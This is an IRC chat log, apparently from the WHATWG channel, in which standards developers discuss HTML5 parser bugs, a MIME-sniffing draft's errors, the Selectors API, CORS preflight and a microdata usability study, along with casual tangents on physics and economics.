I'm surprised "Hi" didn't get foster-parented above the table

[23:43:04.0000] <heycam>
why are you not surprised the third <td> didn't create a second <td> in the outer table?

[23:44:00.0000] <hsivonen>
heycam: actually, I whould be surprised about that first.

[23:44:01.0000] <hsivonen>
looks like a bug

[23:44:02.0000] <heycam>
:)

[23:44:03.0000] <hsivonen>
heycam: thanks

[23:44:04.0000] <heycam>
so i don't know if the secondary insertion mode needs to become a stack of insertion modes

[23:45:00.0000] <heycam>
or if it needs to "reset the insertion mode appropriately" or whatever it is where it guesses the insertion mode based on the current state of the open tag stack

[23:45:01.0000] <mpilgrim>
hixie: yt?

[23:45:02.0000] <mpilgrim>
i'm trying to implement http://tools.ietf.org/html/draft-abarth-mime-sniff-01

[23:45:03.0000] <hsivonen>
Hixie: ^ See what heycam says

[23:46:00.0000] <mpilgrim>
section 4 "text or binary" algorithm, step 5, says:

[23:46:01.0000] <mpilgrim>
"If the first bytes of the resource match one of the byte sequences in the "pattern" column of the table in the unknown type section below, ignoring any rows whose cell in the "security" column says "scriptable" (or "n/a"), then the /sniffed type/ of the resource is the type given in the corresponding cell in the "sniffed type" column on that row; abort these steps."

[23:46:02.0000] <mpilgrim>
this line is incredibly unclear (to me)

[23:47:00.0000] <heycam>
hsivonen, i'm wondering if this problem also manifests itself when the insertion mode just before entering foreign content is something else special

[23:47:01.0000] <heycam>
as in, things that aren't just "in body" and do funny parsing things

[23:47:02.0000] <mpilgrim>
first of all, do i ignore or not-ignore rows whose "security" column is "n/a"?

[23:48:00.0000] <mpilgrim>
second of all, do i apply the mask given in the first column?

[23:48:01.0000] <mpilgrim>
hmm

[23:48:02.0000] <mpilgrim>
maybe it doesn't matter, because i think all the "safe" patterns have masks consisting entirely of FF bytes

[23:48:03.0000] <hsivonen>
heycam: very likely

[23:49:00.0000] <mpilgrim>
and thus irrelevant whether i apply the mask or not

[23:49:01.0000] <mpilgrim>
but still, quite a confusing sentence, and subject to potentially strange bugs if a "safe" pattern is ever added with a non-FF mask

[23:50:00.0000] <heycam>
hsivonen, we'll be discussing svg in html stuff at our f2f tomorrow, so i'm just preparing a summary

[23:50:01.0000] <heycam>
i'll file a bug about this unexpected parser behaviour after tomorrow if it's not fixed by then :)

[23:50:02.0000] <heycam>
(that kinda sounds like a threat, though it's not meant to be :))

[23:50:03.0000] <mpilgrim>
it would be clearer to simply duplicate the relevant information (a list of "safe" patterns and their corresponding sniffed types) in section 4

[00:08:00.0000] <hsivonen>
heycam: it's possible that it's my bug and not Hixie's, because I implement "in foreign" as a flag. When it is set, the usual mode variable is treated as the "secondary" mode.

[00:08:01.0000] <hsivonen>
I suspect it's Hixie's bug, though

[00:08:02.0000] <heycam>
hsivonen, i see. i think that's equivalent to what's in the spec, yeah.

[00:26:00.0000] <drunknbass>
anyone use github?

[00:52:00.0000] <Hixie>
regarding the variety of earlier comments, no idea off hand

[00:53:00.0000] <Hixie>
file a bug

[00:53:01.0000] <Hixie>
send e-mail

[00:53:02.0000] <Hixie>
i'll get to it when i'm awake sometime

[00:54:00.0000] <boblet>
I wish the note on <section> use (“not a generic container element”) had an id so I could link to it directly

[00:55:00.0000] <boblet>
@adactio was right re: <section>/<article> confusion in the trenches

[00:56:00.0000] <Hixie>
file a bug and i'll add an id when i next go through the bugs

[01:17:00.0000] <boblet>
Hixie: thanks. would that be enhancement or trivial?

[01:17:01.0000] <Hixie>
doesn't matter i ignore everything but the comments

[01:20:00.0000] <boblet>
k

[01:36:00.0000] <jgraham>
FWIW html5lib gives the same parsetree as the validator.nu parser

[01:37:00.0000] <jgraham>
/me always wants to call it parser.nu

[02:26:00.0000] <Philip`>
/me thinks we need to replace URLs with BOBLs, as the address of a bag of bits

[02:28:00.0000] <jgraham>
/me could subscribe to that if we can bacronym the full word BOBBLE somehow

[02:29:00.0000] <hsivonen>
I hate it how Paypal poisons Firefox's password autofill

[02:30:00.0000] <hsivonen>
surely Firefox should be better at telling if I've hit a phishing site than I am

[02:30:01.0000] <hsivonen>
in the world of IDNA spoofs

[02:30:02.0000] <hsivonen>
seems like a very bad idea to let me figure out if a merchant sent me to the real Paypal or to a fake Paypal

[02:34:00.0000] <Philip`>
jgraham: The idea is to pronounce it that way, without needing to make all the letters explicit

[02:34:01.0000] <Philip`>
like GRDDL

[02:35:00.0000] <Philip`>
or, um, any other example

[02:35:01.0000] <jgraham>
Philip`: Yeah, but I really want it to have all the letters

[02:35:02.0000] <Philip`>
/me can't think of any :-(

[02:36:00.0000] <jgraham>
I guess terribe, tortured acronyms (with accurate spelling) can't be the sole preserve of the astrophyics community

[02:37:00.0000] <hsivonen>
/me was ignorant enough to learn the etymology of "quasar" only this past weekend

[02:38:00.0000] <Philip`>
I suppose it could be a Bag Of Bits Binary Locator Endpoint

[02:38:01.0000] <hsivonen>
/me notes that TED talks given by British astrophysicists show a different attitude than the talks by the usual TED gurus

[02:41:00.0000] <Philip`>
The world would be a more interesting place if physics projects were given funding proportional to the Scrabble score of their acronym (with the requirement that it's a real word, and expands to an acceptable phrase)

[02:49:00.0000] <jgraham>
hsivonen: Who was talking? (and how was the attitude different?)

[02:52:00.0000] <hsivonen>
jgraham: David Deutsch and Martin Rees

[02:53:00.0000] <jgraham>
/me guesses Martin Rees would be one of them

[02:54:00.0000] <hsivonen>
jgraham: they seemed to be pretty convinced about the accuracy of very macro (universe scale) explanations while others tend to find doubt in conventional micro (earth-level) explanations

[02:54:01.0000] <hsivonen>
jgraham: also, the reaction to global warming wasn't let's go prevent it but it was probably too late to prevent it before anyone noticed it, let's go adapt to it

[02:55:00.0000] <hsivonen>
and they seem to think on different timescales than the others

[02:57:00.0000] <jgraham>
The timescales thing is easy to believe when you work in a field where one end of the important timescales range is 10^10 years

[02:57:01.0000] <jgraham>
s/when you/since they/

[03:01:00.0000] <jgraham>
Also, it is quite possible to believe in the macro-level universe stuff being right without the earth-scale stuff being right because the universe is, in some sense, simpler than the sum of its parts

[03:02:00.0000] <Philip`>
Global warming has had a huge and immediate effect - just look at a graph of temperature in the region of space where the Earth is, which started at approximately 3K and then suddenly shot up to over 290K

[03:04:00.0000] <hsivonen>
jgraham: I'm not suggesting it's illogical. Just that their attitude feels different compared to the others.

[03:04:01.0000] <jgraham>
hsivonen: I didn't mean to imply that you were

[03:04:02.0000] <othermaciej>
physics has a track record of making some impressive quantitative predictions

[03:05:00.0000] <othermaciej>
but a lot of complicated interactions can't really be worked out from physics first principles, either due to computational intractability, or chaotic behavior

[03:05:01.0000] <Philip`>
It hasn't predicted anything more than a few hundred years in the future, though

[03:05:02.0000] <Philip`>
s/predicted/successfully and confirmedly predicted/

[03:06:00.0000] <othermaciej>
sure it has, people do experiments every day that confirm predictions from theories over 100 years old

[03:06:01.0000] <jgraham>
othermaciej: Sure, which is part of why the universe is simpler that the sum of its parts. Because it turns out that at sufficently large scales a lot more problems are somewhat tractable

[03:06:02.0000] <Philip`>
By "a few hundred", I was only being accurate to an order of magnitude

[03:06:03.0000] <othermaciej>
jgraham: yeah, it's easier to compute orbits than to compute the full chemistry of a living system

[03:07:00.0000] <jgraham>
Philip`: It has also successfully predicted things more than a few hundred years in the past

[03:07:01.0000] <Philip`>
Predicting the past is easy :-p

[03:07:02.0000] <jgraham>
Philip`: Not if you weren't there when it happened :)

[03:07:03.0000] <Philip`>
I suppose it's more like postdiction

[03:08:00.0000] <jgraham>
(it is just as hard to predict the position of the plantes in the solar system a million years in the past as a million years in the future)

[03:08:01.0000] <othermaciej>
Newtonian mechanics made a lot of predictions that are accurate today to a remarkable degree, fare more so than any quantitative predictions made by economics

[03:09:00.0000] <hsivonen>
maybe physicists have less of an agenda than, say, the Chicago School

[03:09:01.0000] <othermaciej>
(not to pick on economics - I like it as a field - but it's not very good at predicting anything at more than a very general qualitative level)

[03:09:02.0000] <Philip`>
I still think we should wait a few billion years before judging whether physics successfully models our world

[03:10:00.0000] <Philip`>
just to be extra certain

[03:10:01.0000] <othermaciej>
economics does tend to get tied into politics, and sometimes that leads to theories with predictions that aren't even qualitatively right, e.g. Marxism

[03:11:00.0000] <othermaciej>
even so, economics is a lot more successful at telling us useful information about society than other social sciences

[03:11:01.0000] <jgraham>
Economics has the (recognised) problem that the common fundamental assumptions in quantitative economics are basically wrong

[03:12:00.0000] <othermaciej>
I'm pretty sure all physicists think that  current physics does *not* completely and correctly model our world

[03:12:01.0000] <jgraham>
All the stuff about ideal markets is a dangerously poor approximation to the real world

[03:13:00.0000] <othermaciej>
not all economic models assume rational expecations

[03:14:00.0000] <jgraham>
Sure, like I said it's a known problem that people are working on

[03:14:01.0000] <othermaciej>
that said, microeconomics is much more successful than macro

[03:15:00.0000] <othermaciej>
despite arguably buying more thoroughly into rational expectations and other such assumptions

[03:34:00.0000] <gsnedders>
/me guesses he ought to start thinking about what he's going to take to Sweden

[03:35:00.0000] <jgraham>
gsnedders: Bibbi may be about to phone you

[03:35:01.0000] <gsnedders>
jgraham: "may"

[03:35:02.0000] <jgraham>
So, er, you might want to check I gave her the right number

[03:35:03.0000] <gsnedders>
jgraham: My mob. number?

[03:35:04.0000] <gsnedders>
/me looks up his own number

[03:36:00.0000] <jgraham>
Well she just asked for your phone number. I guess she is either going to phone you or leave your calling card in phone boxes arounf town

[03:37:00.0000] <gsnedders>
/me also notes she has his phone number somewhere anyway

[03:49:00.0000] <gsnedders>
/me blames BenMillard and Hixie for him sometimes signing emails "g" nowadays

[06:44:00.0000] <hsivonen>
sad. wikipedia put the space back

[06:47:00.0000] <jgraham>
Heh. I like how "consistent with the specification" lost to "inconsistent with other specifications"

[06:52:00.0000] <Philip`>
That seems stupid

[06:52:01.0000] <Philip`>
They ought to have used a *non-breaking* space

[06:53:00.0000] <Philip`>
otherwise it will go all ugly when it wraps

[07:09:00.0000] <Lachy>
even though they put it back in the title, the first sentence in the article begins with "HTML5 is the next major revision...", with no space in it

[07:10:00.0000] <hsivonen>
/me assumes that admins who perform moves don't also rewrite articles to match

[07:10:01.0000] <Lachy>
anyway, I'm not too concerned. It really shouldn't matter whether it's spelled with or without the space

[07:12:00.0000] <Philip`>
The http://html5.digitalbazaar.com/specs/html5-epb.html definition of profile seems to conflict with http://www.w3.org/TR/2009/PER-xhtml11-20090507/conformance.html

[07:12:01.0000] <Philip`>
and with content that uses version="-//W3C//DTD XHTML 1.1//EN" as suggested by that page

[07:13:00.0000] <Philip`>
(such content making up 29 of ~425K page from dotnetdotcom)

[07:14:00.0000] <Philip`>
(vs 30 with "XHTML+RDFa 1.0")

[07:14:01.0000] <Philip`>
(and a handful of others)

[07:14:02.0000] <Philip`>
s/profile/version/

[07:22:00.0000] <mpilgrim>
woohoo, i found a genuine bug in http://tools.ietf.org/html/draft-abarth-mime-sniff-01

[07:23:00.0000] <annevk2>
mpilgrim, btw, I think ref implementations might be Gecko/WebKit

[07:23:01.0000] <annevk2>
abarth patches both

[07:23:02.0000] <annevk2>
(maybe they have the same bug)

[07:24:00.0000] <mpilgrim>
the mask for the <H1 test is incorrect

[07:24:01.0000] <mpilgrim>
it's listed as "FF FF DF DF"

[07:24:02.0000] <mpilgrim>
but it should be "FF FF DF FF"

[07:25:00.0000] <hsivonen>
review FTW!

[07:25:01.0000] <mpilgrim>
test cases FTW

[07:25:02.0000] <mpilgrim>
annevk2: yeah, i figured that. i was hoping to find a standalone reference implementation

[07:25:03.0000] <mpilgrim>
i couldn't find one, so i wrote one

[07:25:04.0000] <mpilgrim>
with tests!

[07:26:00.0000] <annevk2>
trying to be an angel? :p

[07:26:01.0000] <mpilgrim>
:D

[07:27:00.0000] <mpilgrim>
this came about in a discussion with jcgregorio, the author of httplib2

[07:28:00.0000] <mpilgrim>
httplib2 fetches resources and returns a dictionary of headers (as strings), and the body (as bytes)

[07:29:00.0000] <mpilgrim>
to convert the body to a string, you need to know the encoding

[07:29:01.0000] <mpilgrim>
to know the encoding, you need to know the content type

[07:29:02.0000] <mpilgrim>
(to know if it's even a text-based resource in the first place)

[07:30:00.0000] <mpilgrim>
(and if so, you need to know how to find an inline encoding declaration)

[07:31:00.0000] <annevk2>
you know that the full version of that for HTML resources depends on having a full HTML parser?

[07:31:01.0000] <mpilgrim>
i am aware of that too, yes

[07:31:02.0000] <annevk2>
k

[07:32:00.0000] <mpilgrim>
but someone has already written a full HTML parser

[07:32:01.0000] <mpilgrim>
httplib2 does the fetching

[07:32:02.0000] <mpilgrim>
html5lib does the HTML parsing

[07:33:00.0000] <mpilgrim>
i needed the piece in the middle

[07:33:01.0000] <Philip`>
Isn't the "<!DOCTYPE HTML" "Mask in Hex" one byte too short?

[07:33:02.0000] <mpilgrim>
Philip`: yes

[07:34:00.0000] <mpilgrim>
two bugs!

[07:34:01.0000] <Philip`>
Someone less lazy than me should report that

[07:36:00.0000] <Lachy>
/me is pondering what to do about the hasFeature() string in selectors api 2.

[07:37:00.0000] <Lachy>
Should I leave it as only returning true if the version is "1.0", or should I perpetuate the myth that it's useful by requiring implementations that support v2 to return true for "2.0" as well.

[07:37:01.0000] <jgraham>
This is getting increasingly insane

[07:38:00.0000] <annevk2>
hober, when you remove spam on the wiki, do you also block the creator?

[07:38:01.0000] <annevk2>
hobertoAtWork, ^^

[07:39:00.0000] <jgraham>
/me would like to think of a good way of making hasFeature break without breaking sites

[07:39:01.0000] <annevk2>
Lachy, why did we introduce it in the first place?

[07:39:02.0000] <Lachy>
it's mostly useful for non-JS implementations

[07:40:00.0000] <annevk2>
Lachy, which?

[07:40:01.0000] <Lachy>
Java, apparently

[07:40:02.0000] <annevk2>
did anyone implement it?

[07:40:03.0000] <Lachy>
or so I was told by people claiming to want to use it in Java

[07:40:04.0000] <annevk2>
ugh

[07:40:05.0000] <Lachy>
yeah, it got implemneted in browsers

[07:41:00.0000] <annevk2>
you should have forbidden it for JS-based implementations

[07:41:01.0000] <Lachy>
I tried that

[07:41:02.0000] <Lachy>
that idea got rejected

[07:41:03.0000] <annevk2>
then we should've just dropped it completely imo

[07:43:00.0000] <Lachy>
it's a bit late for that, which is why I'm considering just leaving it as is so it can only be used to know if the implementation has some support for the api, rather than any specific level

[07:44:00.0000] <Lachy>
that way, it's a mostly harmless piece of legacy junk

[07:51:00.0000] <jgraham>
Maybe we should just change the spec to read "hasFeature(): mostly harmless"

[07:51:01.0000] <jgraham>
and by "the spec" I mean WebDOM 

[07:52:00.0000] <Lachy>
redefine it in WebDOM to just return true for everything :-)

[07:55:00.0000] <jgraham>
I guess that might break sites

[07:55:01.0000] <jgraham>
Sadly

[07:56:00.0000] <Lachy>
might be interesting to find out what effect it would have in practice, if we could find sites that acutally use it

[08:07:00.0000] <jgraham>
It would be good to get it to a fixed list at least

[08:09:00.0000] <Philip`>
Lots seem to use it to check for XPath 3.0

[08:11:00.0000] <hsivonen>
Philip`: must be "future proofing" considering that XPath is just getting to 2.2 and the version supported in browsers is 1.0 :-)

[08:11:01.0000] <hsivonen>
(yes, I realize 3.0 is the DOM level)

[08:14:00.0000] <Lachy>
it would be more useful if selectors api had a way of providing useful error reporting to scripts that indicated the exact cause of the problem, rather than providing an overly broad indicator like hasFeature() which says nothing about which selectors are support, or which methods are supported and what arguments they accept

[08:15:00.0000] <Lachy>
that functionality was requested in the past, but unfortunately the discussions revealed no practical way of doing implementing it

[08:15:01.0000] <Lachy>
anyway, spec checked in. http://dev.w3.org/2006/webapi/selectors-api2/

[08:16:00.0000] <Lachy>
and the last major issue I need to start looking at is namespace support :-(

[08:19:00.0000] <Philip`>
I bet you're having fun today

[08:19:01.0000] <Philip`>
hasFeature and namespaces - what more could you ask for?

[08:20:00.0000] <annevk2>
extensibility

[08:20:01.0000] <annevk2>
distributed extensibility and a few comments from Roy on how you go against fifteen years of experience

[08:21:00.0000] <hsivonen>
and now it seems that RDFa not only comes with xmlns baggage but is also a delivery vector for @version

[08:23:00.0000] <Lachy>
at least hasFeaure only took 5 minutes to deal with. Namespaces are going to take much longer discussions about whether or not it's worth it, and then if it is, even longer discussions about how best to solve it

[08:23:01.0000] <annevk2>
hsivonen, RDFa designers took the blue pill :)

[08:24:00.0000] <Philip`>
Lachy: If you want to e.g. use the Selectors API on SVG (particularly SVG embedded in HTML), is there any way to make it work sensibly without adding namespace support?

[08:25:00.0000] <hsivonen>
annevk2: dunno about pills in this case, but it seems like RDFa pokes multiple areas that are considered harmful over here on #whatwg

[08:25:01.0000] <hsivonen>
annevk2: one such area could be written off as a matter of chance

[08:26:00.0000] <Lachy>
Philip`, sure, since in most cases, the tag names differ.

[08:26:01.0000] <Lachy>
the cases where they clash, like a and textarea, are a little more problematic

[08:27:00.0000] <Philip`>
I suppose "svg a" would work okay in most cases, except when you've got HTML embedded in SVG embedded in HTML

[08:27:01.0000] <jgraham>
Lachy: FWIW I find it hard to follow from the spec what the effect of refNodes is supposed to be

[08:27:02.0000] <Lachy>
jgraham, I explained it better with examples and use cases in a mail on public-webapps.  One sec...

[08:28:00.0000] <Lachy>
http://lists.w3.org/Archives/Public/public-webapps/2009JulSep/1387.html

[08:28:01.0000] <jgraham>
I assume it is supposed to be related to filtering a node list for elements that match a selector or something, but I can't work out where it is actually specified

[08:30:00.0000] <Lachy>
it's specified that :reference pseudo-class matches the elements passed in the refNodes selector, and that scoped selector strings imply the presence of :reference at the beginning of each selector

[08:31:00.0000] <Lachy>
basically, the concept is that it allows you to select elements based on their relationship to one or more specific elements

[08:51:00.0000] <jgraham>
Lachy: I think youneed to be explicit when you describe the effect of the methods that refNodes is used to determine the set of contextual reference elements

[08:52:00.0000] <Lachy>
how is this not explicit enough? "The optional refNodes argument specifies one or more contextual reference element  nodes."

[08:52:01.0000] <Lachy>
with a link to contextual refernece elements that clearly explains what it is and that they are matched by :reference

[08:52:02.0000] <jgraham>
Lachy: Because the specification reads like it operates by side effect

[08:53:00.0000] <Lachy>
huh?

[08:54:00.0000] <jgraham>
Lachy: In code terms, the specification reads like you currently set contextual reference nodes as a global variable and then call the match function which implicitly reads that global

[08:55:00.0000] <jgraham>
Lachy: I would prefer a style where you explicity say that refNodes is passed to the maych algorithm

[08:55:01.0000] <jgraham>
*match

[08:55:02.0000] <jgraham>
Does that make sense?

[08:58:00.0000] <Lachy>
ok, would it work if I specified in the Processing Selectors section something like "If the selector contains the :reference pseudo-class, the implementation must use the refNodes parameter to determine the contextual reference elements."

[09:00:00.0000] <zcorpan_>
hmm, http://www.w3.org/2006/02/son-of-3023/draft-murata-kohn-lilley-xml-03.html deprecates text/xml instead of fixing the issue

[09:00:01.0000] <annevk2>
is :reference the new :scope?

[09:00:02.0000] <annevk2>
zcorpan_, old news

[09:00:03.0000] <Lachy>
annevk2, yes

[09:00:04.0000] <zcorpan_>
annevk2: ok

[09:00:05.0000] <annevk2>
zcorpan_, Julian asked for some clarification

[09:00:06.0000] <jgraham>
Hmm, I think that would help, but it wouldn't really make Section 6.1 or 6.2 any clearer

[09:01:00.0000] <annevk2>
Lachy, I think :scope was a better term

[09:01:01.0000] <annevk2>
especially if browsers implement <style scoped>

[09:02:00.0000] <jgraham>
Lachy: Also "process this argument" doesn't really tell you that you are doing the spec equivalent of setting a variable

[09:03:00.0000] <Lachy>
:scope seemed innacurate when used for the purpose of filtering a collection of elements, as in document.querySelectorAll(".foo:reference", listOfElements);

[09:04:00.0000] <jgraham>
/me might be too used to the HTML5/ES5 style where everything is a pseudo-code algorithm

[09:04:01.0000] <annevk2>
oh, didn't know we needed such a feature

[09:04:02.0000] <Lachy>
it's bascially like $(elementCollection).filter("..."); in JQuery

[09:05:00.0000] <gsnedders>
jgraham, Lachy: if I end up doing stuff like Web DOM Core, I do want a fixed list, and I see no reason why that isn't possible.

[09:05:01.0000] <jgraham>
Lachy: Also typo in section 7 "must match the any element"

[09:06:00.0000] <Lachy>
fixed the typos

[09:09:00.0000] <Lachy>
jgraham, I'm not sure yet sure how to rewrite it to make it clearer, but I will think about it and get back to you. In the mean time, can you file a bug or send mail to public-webapps so I don't forget

[09:10:00.0000] <jgraham>
Where do I file bugs? W3C bugzilla?

[09:10:01.0000] <Lachy>
http://www.w3.org/Bugs/Public/enter_bug.cgi?product=WebAppsWG&component=Selectors%20API

[09:14:00.0000] <Lachy>
what if I said this in section 6.1? "When evaluating the selector, the implementation must use the refNodes argument, if any, to determine the contextual reference elements."

[10:12:00.0000] <mookid>
hi fans - new question about the cross domain requests mechanisms

[10:13:00.0000] <mookid>
anyone around to help a dummy get a clue?

[10:16:00.0000] <Philip`>
mookid: Someone might be, so it's probably good to just ask whatever question you have

[10:18:00.0000] <mookid>
ok I just don't know if this is the right place to be asking questions about that

[10:20:00.0000] <mookid>
trying to figure out the reason that OPTIONS was used in the handshake to figure out this 'Access-Control-Allow-Origin' header - and not HEAD

[10:24:00.0000] <Philip`>
/me doesn't remember, but supposes someone like annevk2 should know

[10:33:00.0000] <Philip`>
mookid: (HEAD doesn't seem to make sense because of its semantics - it's meant to be like an equivalent GET but without the response body, and if you're doing a pre-flight request for a POST to a resource that doesn't respond to GET then using HEAD would be weird)

[10:47:00.0000] <mookid>
Philip`: but the handshake is to establish apprpriate referrer domains for the resource

[10:48:00.0000] <mookid>
http methods are separate to this?

[10:49:00.0000] <mookid>
i.e. the mechanism can't define a resource that accepts GET but not POST from one domain

[10:50:00.0000] <mookid>
*one = another

[10:51:00.0000] <Philip`>
mookid: Access-Control-Allow-Methods sounds like it can do that

[10:52:00.0000] <mookid>
fair enough, thanks

[10:52:01.0000] <Philip`>
or you could just have a resource that always returns 405 Method Not Allowed for GET, and only accepts POST, and in that case it would be weird to use HEAD and expect a useful response

[10:52:02.0000] <Philip`>
(what with HEAD being a subset of GET)

[10:53:00.0000] <mookid>
it's not

[10:53:01.0000] <mookid>
:P

[10:54:00.0000] <mookid>
well

[10:54:01.0000] <mookid>
hmm thats a weird one

[10:54:02.0000] <mookid>
is it actually defined like that in the spec?

[10:56:00.0000] <Philip`>
"The metainformation contained in the HTTP headers in response to a HEAD request SHOULD be identical to the information sent in response to a GET request."

[11:14:00.0000] <Hixie>
usability study 6

[11:14:01.0000] <Hixie>
it's interesting that all the paticipants so far have been getting that <img>'s data comes from src="" and <p>'s data comes from the element's contents

[11:14:02.0000] <Hixie>
this participant even explicitly mentioned this and said it was "obvious"

[11:14:03.0000] <Hixie>
excellent

[11:15:00.0000] <Hixie>
i was really worried that might be counter-intuitive

[11:17:00.0000] <tantek>
Hixie - microformats have well-established priori art and practice in that (getting data from <img src> and <p> content etc.)

[11:17:01.0000] <tantek>
so it's not really a surprise

[11:17:02.0000] <Hixie>
this participant has no microformats experience

[11:18:00.0000] <Hixie>
also some of the previous participants weren't able to determine if <a itemprop="" href=""></a> should get the value from the href="" or the element's contents

[11:18:01.0000] <tantek>
Hixie, that's because it depends on the property ("itemprop" in your example)

[11:18:02.0000] <tantek>
properties of type URL take their value from the href

[11:18:03.0000] <tantek>
whereas normal "string" properties that their value from the element's contents

[11:19:00.0000] <Hixie>
i don't really have any information to base the "why" on, i'm just observing what these participants have found intuitive or not

[11:19:01.0000] <tantek>
this is deliberate / by design and helps with efficient markup in very common cases (e.g. linking to a person and their web page by name)

[11:19:02.0000] <Hixie>
excellent, this participant has no problems with URL property names either

[11:20:00.0000] <Hixie>
so far only the participants who had trouble with the fundamentals have had trouble with full-url property names

[11:20:01.0000] <TabAtkins>
Awesome.

[11:20:02.0000] <Hixie>
which is interesting

[11:20:03.0000] <Hixie>
none so far have said anything about urls being too long, either

[11:20:04.0000] <Hixie>
which i found interesting

[11:21:00.0000] <tantek>
Hixie, do you mean "reverse DNS property names"?

[11:21:01.0000] <tantek>
or did something change recently to put full URLs as property names?

[11:21:02.0000] <hober>
tantek: it's been that way since the advent of microdata

[11:22:00.0000] <hober>
full urls, java-style property names, or short names from a predefined vocabulary

[11:22:01.0000] <tantek>
it's been reverse DNS property names since the advent of microdata

[11:22:02.0000] <hober>
yes, it's *also* been reverse DNS names

[11:22:03.0000] <tantek>
oh, *both* have been allowed?

[11:22:04.0000] <hober>
yup

[11:23:00.0000] <tantek>
were there any examples with URLs as property names?

[11:23:01.0000] <Hixie>
tantek: the study has only tested URLs and short names

[11:24:00.0000] <tantek>
are you going to test the reverse DNS property names? (those seemed like a much more interesting simplifying innovation of microdata)

[11:24:01.0000] <Hixie>
wasn't planning on it, since people have been so negative about them

[11:24:02.0000] <Hixie>
we don't really have a good solid proposal for dealing with names yet

[11:24:03.0000] <tantek>
Hixie - maybe the supporters of reverse DNS property names have simply quietly supported them, rather than trolling incessantly ;)

[11:25:00.0000] <Hixie>
maybe

[11:25:01.0000] <hober>
yes, the "moral majority" form of being Warnocked :)

[11:25:02.0000] <Hixie>
hah, this participant just complained about the vcard terminology ("locality is so vague, yet postal-code is so specific!")

[11:26:00.0000] <Hixie>
wow, she guessed <itemref ref="">'s meaning correctly without seeing any documentation

[11:27:00.0000] <tantek>
Hixie - not surprising, most don't "get" why vcard uses locality or region until they have to markup international addresses

[11:28:00.0000] <tantek>
same reason why people don't get what's wrong with 10/9/9 as a date until they travel to a country that uses a different DD MM order than they are used to.

[11:29:00.0000] <gsnedders>
/me assumes that means 2010-09-09 and gets on with life, thinking it isn't coming up soon

[11:29:01.0000] <tantek>
gsnedders :)

[11:29:02.0000] <Rik|work>
gsnedders: you should care even less, it was 3 weeks ago

[11:30:00.0000] <gsnedders>
Rik|work: Either way, no need to care about it now :)

[11:30:01.0000] <gsnedders>
I guess if you're one of these mad Americans you'd have to, though, but their loss.

[11:31:00.0000] <Hixie>
haha, interesting, i made a typo in the markup (item vs itemscope), and when i got the study moderator to fix it, the participant was like "ohh, that makes much more sense"

[11:31:01.0000] <Hixie>
and that was precisely what we were testing

[11:34:00.0000] <Hixie>
so, interesting.

[11:35:00.0000] <Hixie>
she understands containership this time -- she explicitly commented on how itemscope with itemprop=adr made sense

[11:35:01.0000] <Hixie>
(basically saying that a nested vcard makes sense)

[11:35:02.0000] <Hixie>
but she cannot express it!

[11:36:00.0000] <Hixie>
the exercise has her trying to write down the microdata from this example: http://damowmow.com/playground/microdata/004/review-annotated.html

[11:36:01.0000] <Hixie>
and she expressed it verbally very accurately, especially the last part with the itemprop=adr

[11:36:02.0000] <Hixie>
but when she tried to write it down, it lost all structure

[11:36:03.0000] <Hixie>
and now she's trying to mark up http://damowmow.com/playground/microdata/004/blog.html

[11:36:04.0000] <Hixie>
and she's getting it wrong again

[11:37:00.0000] <Hixie>
ooooh! wait! she's getting it!

[11:37:01.0000] <Hixie>
man this study more than anything tells me the power of getting the right examples

[11:38:00.0000] <Hixie>
the intro has <div>s and yet none of the examples she had to study carefully has <div>s

[11:38:01.0000] <Hixie>
so she's using a stray <body> :-(

[11:39:00.0000] <Hixie>
people really really don't want to include hidden metadata, that's hilarious

[11:39:01.0000] <Hixie>
they don't even know they don't

[11:39:02.0000] <Hixie>
they just don't do it

[11:40:00.0000] <TabAtkins>
I like these studies.  Thanks for running them, Hixie.

[11:41:00.0000] <Hixie>
i wish we could do more! just not sure how to really test most things

[11:42:00.0000] <TabAtkins>
/me wishes the Dev team at his company would settle on a *single* rule for demarcing parts of a string as being replacable.  The translators are getting horribly confused and translating things that should be treated as gensyms.

[11:43:00.0000] <Hixie>
sweet, she got that she had to use the predefined vocabularies

[11:44:00.0000] <Hixie>
and she got that itemid="" is how you refer to the image in a work

[11:44:01.0000] <TabAtkins>
That's a first so far, right?

[11:44:02.0000] <Hixie>
yeah pretty much!

[11:44:03.0000] <Hixie>
i added text to the intro to try to guide one to that conclusion

[11:44:04.0000] <Hixie>
maybe it worked, maybe she's just more in that mindset

[11:44:05.0000] <Hixie>
not sure what her background is

[11:44:06.0000] <Hixie>
(i could look it up, i just don't have it at hand)

[11:44:07.0000] <TabAtkins>
What intro did she read?

[11:45:00.0000] <Hixie>
http://damowmow.com/playground/microdata/004/introduction

[11:45:01.0000] <Hixie>
though she stopped about half way through

[11:46:00.0000] <TabAtkins>
Ah, that's some good text there.

[11:46:01.0000] <Hixie>
she replaced her stray <body> wrapping <h2>s and <p>s with a <span>

[11:46:02.0000] <Hixie>
it's an improvement i guess

[11:47:00.0000] <TabAtkins>
I think your examples use <span>s when hooking metadata to stuff that doesn't naturally have an element already.

[11:48:00.0000] <Hixie>
i tried to use <div>s for almost all the itemscope=""s in the intro

[11:48:01.0000] <Hixie>
but none of the the examples she looks at do

[11:48:02.0000] <Hixie>
they use <body>, <li>, and <tr> respectively

[11:48:03.0000] <Hixie>
oh an <span> for an itemprop=adr once

[11:48:04.0000] <TabAtkins>
Making *everything* start with "item" was a win I think.

[11:48:05.0000] <Hixie>
yeah i think that helps

[11:49:00.0000] <TabAtkins>
The confusion of having lots of seemingly unrelated names working together is one of the big loses in RDFa to me.

[11:50:00.0000] <Hixie>
someone suggested renaming them to iscope, itype, and iprop or iname; someone else suggested mdobject and mdname

[11:50:01.0000] <Hixie>
personally i prefer item

[11:50:02.0000] <TabAtkins>
Yeah, item is better.  It's transparent and obvious.

[11:50:03.0000] <Hixie>
i mean, itemscope, itemtype, and itemprop (and <itemref>)

[11:50:04.0000] <TabAtkins>
And easy to type, so the extra characters over "i" aren't that significant.

[11:51:00.0000] <Hixie>
i love how every. single. person. who has tried to mark up blog.html ends up using the <h2>s as the itemprop=titles

[11:51:01.0000] <Hixie>
when in fact none of them are

[11:53:00.0000] <Hixie>
ok, blog-annotated.html makes a lot of sense to her

[11:53:01.0000] <Hixie>
that's encouraging

[11:53:02.0000] <TabAtkins>
I can see that.  Titles are titles.

[11:53:03.0000] <Hixie>
it matched what she had been verbally saying she wanted, but not what she did

[11:53:04.0000] <Hixie>
which is interesting

[11:54:00.0000] <TabAtkins>
Perhaps people aren't trusting themselves to mark up 'naturally'?

[11:55:00.0000] <TabAtkins>
Instead assuming there has to be some more complex structure they should follow?

[11:56:00.0000] <TabAtkins>
